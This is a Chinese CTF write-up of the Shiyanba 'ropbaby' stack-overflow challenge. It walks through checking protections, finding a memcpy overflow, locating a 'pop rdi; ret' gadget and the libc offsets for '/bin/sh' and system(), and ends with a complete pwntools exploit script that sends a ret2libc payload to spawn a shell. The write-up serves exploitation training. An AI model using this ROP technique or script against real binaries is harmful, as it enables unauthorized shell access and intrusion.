实验吧_ROPBABY

实验目的 【实验吧_ROPBABY】用过这次实验去检验我们前期对栈溢出的掌握程度
实验文件 链接:https://pan.baidu.com/s/14fPpj6nULpywKwMv21r7rA
提取码:qbp9
实验步骤 首先检验ropbaby的保护机制
实验吧_ROPBABY
文章图片

发现栈是no canary found,我们可以进行栈溢出。
首先对文件进行静态分析
实验吧_ROPBABY
文章图片

发现了 memcpy(&savedregs, nptr, v8),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。
因此我们需要做的步骤如下:
1.找到程序漏洞(即溢出点)
2.构造一个gadget,包含pop rdi | retn
3.在libc中找到/bin/sh字符串的地址,送入rdi寄存器
4.找到system函数地址,并使得程序跳转执行system函数
然后进行动态分析
实验吧_ROPBABY
文章图片

下面选取有用的:

ROPgadget --binary libc-2.23.so--only "pop|ret" 0x0000000000020256 : pop rdi ; pop rbp ; ret 0x0000000000021102 : pop rdi ; ret//这一段就是我们要的gadget,偏移量是0x21102 0x0000000000067499 : pop rdi ; ret 0xffff

下面找到/bin/sh在libc中的地址
实验吧_ROPBABY
文章图片

由于程序允许我们查找system的地址,因此我们考虑找到system函数的偏移实验吧_ROPBABY
文章图片

0x45390即为system的偏移
所以我们可以构造payload = ‘a’*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)
附上exp.py
#coding=utf-8 from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['gnome-terminal','-x','sh','-c'] p=process('./ropbaby') p.recvuntil(':') p.recvuntil(':') p.sendline('2') p.recvuntil(':') p.sendline('system') p.recvuntil(':') system_addr=int(p.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符 print "system_addr="+hex(system_addr) base_addr=system_addr-0x45390 #libc加载的基地址 print "base_addr="+hex(base_addr) bin_addr=0x18cd17 bin_addr=base_addr+bin_addr print "bin_addr="+hex(bin_addr) gaget_addr=0x21102 gaget_addr=base_addr+gaget_addr print "gaget_addr="+hex(gaget_addr) payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr) print p.recvuntil(':') print "-------------------------------------------------------------" p.sendline("3") p.recvuntil(':') p.sendline('32') print payload p.sendline(payload) p.interactive()

    推荐阅读